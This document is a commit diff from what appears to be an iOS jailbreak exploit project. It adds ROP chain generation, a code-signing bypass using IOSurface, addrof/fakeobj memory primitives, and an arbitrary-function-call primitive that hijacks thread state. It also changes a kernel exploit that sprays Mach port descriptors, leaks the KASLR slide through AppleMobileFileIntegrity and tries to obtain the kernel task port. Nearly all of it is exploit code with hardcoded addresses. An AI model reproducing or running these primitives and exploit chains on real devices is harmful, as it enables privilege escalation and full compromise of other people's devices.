diff options
| -rw-r--r-- | .vscode/settings.json | 5 | ||||
| -rw-r--r-- | src/gen/main.c | 4 | ||||
| -rw-r--r-- | src/gen/stage2.c | 15 | ||||
| -rw-r--r-- | src/js/csbypass.js | 69 | ||||
| -rwxr-xr-x | src/js/kexp/exploit.js | 92 | ||||
| -rwxr-xr-x | src/js/lib/myutils.js | 7 | ||||
| -rw-r--r-- | src/js/lib/str.js | 8 | ||||
| -rw-r--r-- | src/js/main.js | 93 | ||||
| -rw-r--r-- | src/js/primitives/call.js | 208 | ||||
| -rw-r--r-- | src/js/primitives/mem.js | 39 | ||||
| -rw-r--r-- | tools/-h | 0 | ||||
| -rw-r--r-- | tools/935csbypass.c | 14 | ||||
| -rwxr-xr-x | tools/build_native.sh | 10 | ||||
| -rwxr-xr-x | tools/defines | bin | 0 -> 13216 bytes | |||
| -rw-r--r-- | tools/defines.c | 28 | ||||
| -rwxr-xr-x | tools/ent.xml | 2 | ||||
| -rwxr-xr-x | tools/jit_all_the_things.c | 32 | ||||
| -rw-r--r-- | tools/payload.s | 3 | ||||
| -rw-r--r-- | tools/shc/shellcode.c | 22 | ||||
| -rw-r--r-- | work/cs935.c | 133 | ||||
| -rwxr-xr-x | work/cs_bypass.m | 302 | ||||
| -rw-r--r-- | work/shit.js | 41 |
22 files changed, 1046 insertions, 81 deletions
diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..907117e --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,5 @@ +{ + "files.associations": { + "mman.h": "c" + } +}
\ No newline at end of file diff --git a/src/gen/main.c b/src/gen/main.c index 30726d5..5ee0286 100644 --- a/src/gen/main.c +++ b/src/gen/main.c @@ -206,8 +206,8 @@ int main(int argc, fprintf(stderr, "0x%x\n", RTLD_DEFAULT); - uint32_t stack_base = 0x1c7718; // my shell setup -// uint32_t stack_base = 0x1c772c; // my shell setup +// uint32_t stack_base = 0x1c7718; // my shell setup + uint32_t stack_base = 0x1c7708; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env diff --git a/src/gen/stage2.c b/src/gen/stage2.c index 8b98a7e..7e611c8 100644 --- a/src/gen/stage2.c +++ b/src/gen/stage2.c @@ -313,12 +313,17 @@ rop_chain_shit gen_rop_chain(uint32_t base, uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup"); uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject"); uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString"); + uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty"); uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript"); uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); MOV_R0(dlsym_); STR_R0(base + reserve_addr + 24); + fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n" + "var JSObjectGetProperty = 0x%08x;\n" + "var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject); + // uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_); @@ -356,11 +361,11 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x108000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x48); + DEREF_IN_R0(base + reserve_addr + 0x4a); MOV_R1_R0(); - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); @@ -378,13 +383,13 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x10a000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); /* DEREF_IN_R0(base + reserve_addr + 0x48); MOV_R1_R0(); */ - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); diff --git a/src/js/csbypass.js b/src/js/csbypass.js new file mode 100644 index 0000000..e91dac3 --- /dev/null +++ b/src/js/csbypass.js @@ -0,0 +1,69 @@ +var RTLD_NOW = 2; +var PAGE_SIZE = 0x1000; + +var CFDictionaryCreateMutable_addr = 0x20809ae1; +var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc; +var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc; +var CFDictionarySetValue_addr = 0x2080a791; +var CFNumberCreate_addr = 0x2080bc79; +var kCFNumberSInt32Type = 3; + +function csbypass() { + printf("hello from csbypass!\n"); + poc(); +} + +function memcpy_exec(dst, src, size) { + var dict = NULL; + var accel = malloc(4); + var width = malloc(4); + var height = malloc(4); + var pitch = malloc(4); + var pixel_format = malloc(4); + write_u32(width, PAGE_SIZE / (16 * 4)); + write_u32(height, 16); + write_u32(pitch, read_u32(width) * 4); + write_u32(pixel_format, 0x42475241); // ARGB + dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr); + printf("dict: %p\n", dict); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format)); + printf("fuck you\n"); + printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel)); +} + +function linkIOSurface() { + h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +function poc() { + linkIOSurface(); + + var tmp = malloc(0x4000); + var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47]; + + for (var i = 0; i < start.length; i++) { + write_u8(tmp + i, start[i]); + } + + var finish = 0x10000; + + memcpy_exec(finish. tmp, 0x1000); + + scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141); + +// var finish = +}
\ No newline at end of file diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 544a876..c667dd2 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -105,24 +105,28 @@ function copyinPort(kport, cnt) { var data = malloc(4); var master = malloc(4); fakeportData = malloc(4); + var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); printf("sprayed, still here\n"); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); +// printf("%x %x\n", master, read_u32(master)); service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); printf("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + printf("%x\n", tst); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = malloc(4); - var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"); - ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); + var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"; + var xml = sptr(xmls); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); @@ -132,7 +136,6 @@ function copyinPort(kport, cnt) { var found = false; var o = IOIteratorNext(read_u32(it)); - printf("%x\n", o); while (o != MACH_PORT_NULL && !found) { var buf = malloc(16 * 4); @@ -141,13 +144,8 @@ function copyinPort(kport, cnt) { ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); printf("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { - printf("yolo\n"); -// mach_port_deallocate(self, read_u32(data)); -// write_u32(data, MACH_PORT_NULL); spray_data(tst, strlen(tst) + 1, 10, fakeportData); - printf("still still alive?\n"); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; - printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; @@ -202,7 +200,10 @@ function spray_ports(number_port_descs) { mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + +// printf("%d (%s)\n", ret_, mach_error_string(ret_)); + var ret = read_u32(mp); free(mp); return ret; @@ -236,75 +237,46 @@ function send_ports(target, payload, num, number_port_descs) { write_u32(init_port_set + (i << 2), payload); } - var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); + // var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); - write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); +// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); - var new_buf = new Uint32Array(3); -// var tmp = u32_to_u8x4(init_port_set); - new_buf[0] = (init_port_set); - new_buf[1] = (num); - new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16)); - -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// tmp = u32_to_u8x4(num); -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// new_buf_.push(0); -// new_buf_.push(0); -// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); -// new_buf_.push(19); - -// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); - -// var new_buf = fast_array_mul(new_buf_, number_port_descs); +// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4); - for (var i = 0; i < number_port_descs; i++) { - write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4); - } + large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs; - /* - for (var i = 0; i < number_port_descs; i++) { - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); - write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); - }*/ + var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); - write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) - write_u32(buf + req_head_msgh_request_port, target); - write_u32(buf + req_head_msgh_reply_port, 0); - write_u32(buf + req_head_msgh_id, 1337); + for (var i = 0; i < number_port_descs; i++) { + var tmp2 = (i * 3) + (req_init_port_set >>> 2); + large_buf[tmp2 + 0] = (init_port_set); + large_buf[tmp2 + 1] = (num); + large_buf[tmp2 + 2] = tmp; + } - var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); + large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + large_buf[req_head_msgh_request_port >>> 2] = target; + large_buf[req_head_msgh_reply_port >>> 2] = 0; + large_buf[req_head_msgh_id >>> 2] = 1337; - free(buf); +// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); + + var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); return ret; } function release_port_ptrs(port) { - printf("alive\n"); var req = malloc(0x1c + (5 * 0xc) + 0x8); for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { write_u32(req + i, 0x0); } printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); - printf("alive\n"); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - printf("alive\n"); - // if (ret != KERN_SUCCESS) { -// printf("mach_recv %d %s\n", ret, mach_error_string(ret)); - printf("alive\n"); - // } + if (ret != KERN_SUCCESS) { + printf("mach_recv %d %s\n", ret, mach_error_string(ret)); + } free(req); - printf("alive\n"); } function get_kernel_task() { @@ -335,7 +307,7 @@ function get_kernel_task() { var big_buf = malloc(MIG_MAX); var small_buf = malloc(MIG_MAX); - + var big_size = malloc(4); var small_size = malloc(4); diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index e856624..89860f8 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -116,4 +116,9 @@ var mach_msg = scall_wrapper("mach_msg"); var mmap = scall_wrapper("mmap"); var free = scall_wrapper("free"); var mlock = scall_wrapper("mlock"); -var mprotect = scall_wrapper("mprotect");
\ No newline at end of file +var mprotect = scall_wrapper("mprotect"); +var dlopen = scall_wrapper("dlopen"); +var dlsym = scall_wrapper("dlsym"); +var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable"); +var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue"); +var CFNumberCreate = scall_wrapper("CFNumberCreate");
\ No newline at end of file diff --git a/src/js/lib/str.js b/src/js/lib/str.js index 31621bf..c95573d 100644 --- a/src/js/lib/str.js +++ b/src/js/lib/str.js @@ -2,7 +2,7 @@ * currently unused (iirc) garbage * basically just prints an address than the uint32_t there, and then +4, etc */ -function prim_dump_u32(buf) { +function prim_dump_u32(buf, base) { s = ""; for (var i = 0; i < buf.length; i += 4) { @@ -13,10 +13,10 @@ function prim_dump_u32(buf) { tmp.push(buf[i + 2]); tmp.push(buf[i + 3]); - s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += "0x" + pad_left((base + i).toString(16), "0", 8); s += ": "; s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); - if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { +/* if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); s += "\n"; val = read_u32(u8x4_to_u32(tmp)); @@ -24,7 +24,7 @@ function prim_dump_u32(buf) { buf = read_buf(val, 0x100); s += (hexdump(buf, 8, 2, val, 8, "0x")); } - } + }*/ s += "\n"; } diff --git a/src/js/main.js b/src/js/main.js index 7021ab1..c6ceba0 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -19,6 +19,8 @@ var PROT_EXEC = 0x4; var MAP_PRIVATE = 0x2; var MAP_ANON = 0x1000; +var victim = {a: 13.37}; + /* * leftover shit from jsc_fun, used to be using `log` */ @@ -32,6 +34,10 @@ try { puts = function (){}; } +var JSStringCreateWithUTF8CString = 0x239f9d0d; +var JSObjectGetProperty = 0x239fa411; +var JSContextGetGlobalObject = 0x239f8dfd; + function main() { /* * get slide and calculate slid base @@ -48,6 +54,8 @@ function main() { init_sptr_heap(); + scall("printf", "%x %x %x %x", 0x41, 0x42, 0x43, 0x44); + puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); @@ -56,9 +64,92 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - var tfp0 = get_kernel_task(); + var dyld_shc_slide = get_dyld_shc_slide(); + + sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide; + sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide; + sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide; + + prep_shit(); + large_buf[0] = 0x41424344; + printf("%x\n", read_u32(large_buf_ptr)); + + csbypass(); + + return; + + var tfp0 = get_kernel_task(); + printf("tfp0=%x\n", tfp0); + + return; + + printf("dead?\n"); + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + printf("dead? %x\n", string_ref); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + printf("dead? %x\n", global_object); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("dead?\n"); + + printf("%x\n", jsobj_addr); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + victim.target = parent; + printf("%x\n", read_u32(jsobj_addr + 0x18)); +// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10)); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + + /* + UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL" + message:@"Dee dee doo doo." + delegate:self + cancelButtonTitle:@"OK" + otherButtonTitles:nil]; + [alert show]; + */ + + return; + + var rop_buf = new Array(); + var nop = (0x781a | 1) + slid; + var zero_arr = [].slice.call(u32_to_u8x4(0)); + var nop_arr = [].slice.call(u32_to_u8x4(nop)); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + for (var i = 0; i < 0x40000; i++) { + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + if (i % 0x1000 == 0) { + printf("%x\n", i); + } + } + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0x41414141); + + printf("gen'd buf\n"); + +// printf("%s\n", rop_buf[0].toString(16)); + + printf("exec'ing\n"); + exec_rop(rop_buf); + printf("done\n"); + +// var tfp0 = get_kernel_task(); + +// printf("tfp0=%x\n", tfp0); return; diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index be4f254..3a2980a 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -31,8 +31,9 @@ var mov_r1_r0 = 0x72f76 | 1; var mov_r0 = 0xee40 | 1; var str_r0_r4 = 0x85474 | 1; -var stack_shit = 0x161000; +//var stack_shit = 0x161000; var pthread_ret = 0; +var stack_shit_rop = 0; function get_dyld_shc_slide() { /* @@ -140,11 +141,13 @@ function symaddr(sym) { return addy; } -function callnarg() { +function callnarg_new() { if (arguments.length < 1) { return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); } + var stack_shit = 0x161000; + /* * setup ptrs */ @@ -232,6 +235,121 @@ function callnarg() { return read_u32(pthread_ret); } +function callnarg() { + if (arguments.length < 1) { + return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); + } + + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var addy = arguments[0]; + var dyld_shc_slide = get_dyld_shc_slide(); + + var stack_shit = 0x161000; + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * if the thread doesn't exist, create it. + */ + if (read_u32(th) === 0) { + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + } + + if (rth === 0) { + rth = read_u32(th); + } + +// calls4arg("thread_suspend", rth, 0, 0, 0); + + /* + * write first 4 to r0-r3, rest to stack + */ + for (var i = 1; i < arguments.length; i++) { + if (i <= 4) { + write_u32(thread_state + ((i - 1) << 2), arguments[i]); + } else { + write_u32(stack_shit + ((i - 5) << 2), arguments[i]); + } + } + + /* + * r9 + */ + write_u32(thread_state + (11 << 2), 0x1337); + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit); + + /* + * return address, infinite loop + */ + write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), addy); + + /* + * cpsr, magic + */ + if (addy & 1) { + write_u32(thread_state + (16 << 2), 0x40000020); + } else { + write_u32(thread_state + (16 << 2), 0x40000000); + } + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + /* + * spin wait for return + */ + while (true) { + /* + * reset, it's used as input for thread_state size + */ + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + + /* + * if the pc is in (resolver, resolver + 8), suspend the thread + * (to not spin endlessly), read r0 and return + */ + if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) { + calls4arg("thread_suspend", rth, 0, 0, 0); + return read_u32(thread_state); + } + +// calls4arg("usleep", 1000, 0, 0, 0); + } +} + /* * call with symbol */ @@ -256,6 +374,8 @@ function scall() { sym_cache[sym] = addy; } +// printf("%s %x %x\n", sym, addy, sym_cache[sym]); + var args_to_pass = new Array(); var force_callnarg = false; @@ -283,4 +403,88 @@ function scall() { } return call4arg.apply(this, args_to_pass) } +} + +function rop_init() { + stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); +} + +function exec_rop(buf) { + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var dyld_shc_slide = get_dyld_shc_slide(); + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + if (stack_shit_rop == 0) { + rop_init(); + } + + calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0); + + /* + * if the thread doesn't exist, create it. + */ + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + calls4arg("thread_suspend", rth, 0, 0, 0); + + if (pthread_ret == 0) { + pthread_ret = malloc(4); + } + + write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4); + + /* + + var stack_shit_ret_offset = 0x58; + + write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide); + */ + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit_rop); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide); + + /* + * cpsr, magic + */ + write_u32(thread_state + (16 << 2), 0x40000020); + + printf("actually doing it\n"); + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + calls4arg("pthread_join", thread, pthread_ret, 0, 0); + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + return read_u32(pthread_ret); }
\ No newline at end of file diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index f6c4fe7..0cd2b7d 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -228,4 +228,43 @@ function _sptr(s) { */ function sptr(s) { return _sptr(s + "\0"); +} + +var string_ref; +var global_object; +var jsobj_addr; + +var large_buf = new Uint32Array(0x100000); +var large_buf_ptr = 0; + +function prep_shit() { + string_ref = scall("JSStringCreateWithUTF8CString", "victim"); + global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + large_buf_ptr = leak_vec(large_buf); +} + +function addrof(obj) { + victim.target = obj; + return read_u32(jsobj_addr + 0x18); +} + +// broken +function fakeobj(addy) { + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("YOLO\n"); + printf("1 %x\n", read_u32(jsobj_addr + 0x18)); + victim.target = 13.37; + printf("2 %x\n", read_u32(jsobj_addr + 0x18)); + write_u32(jsobj_addr + 0x18, addy); + printf("3 %x\n", read_u32(jsobj_addr + 0x18)); + return victim.target; +} 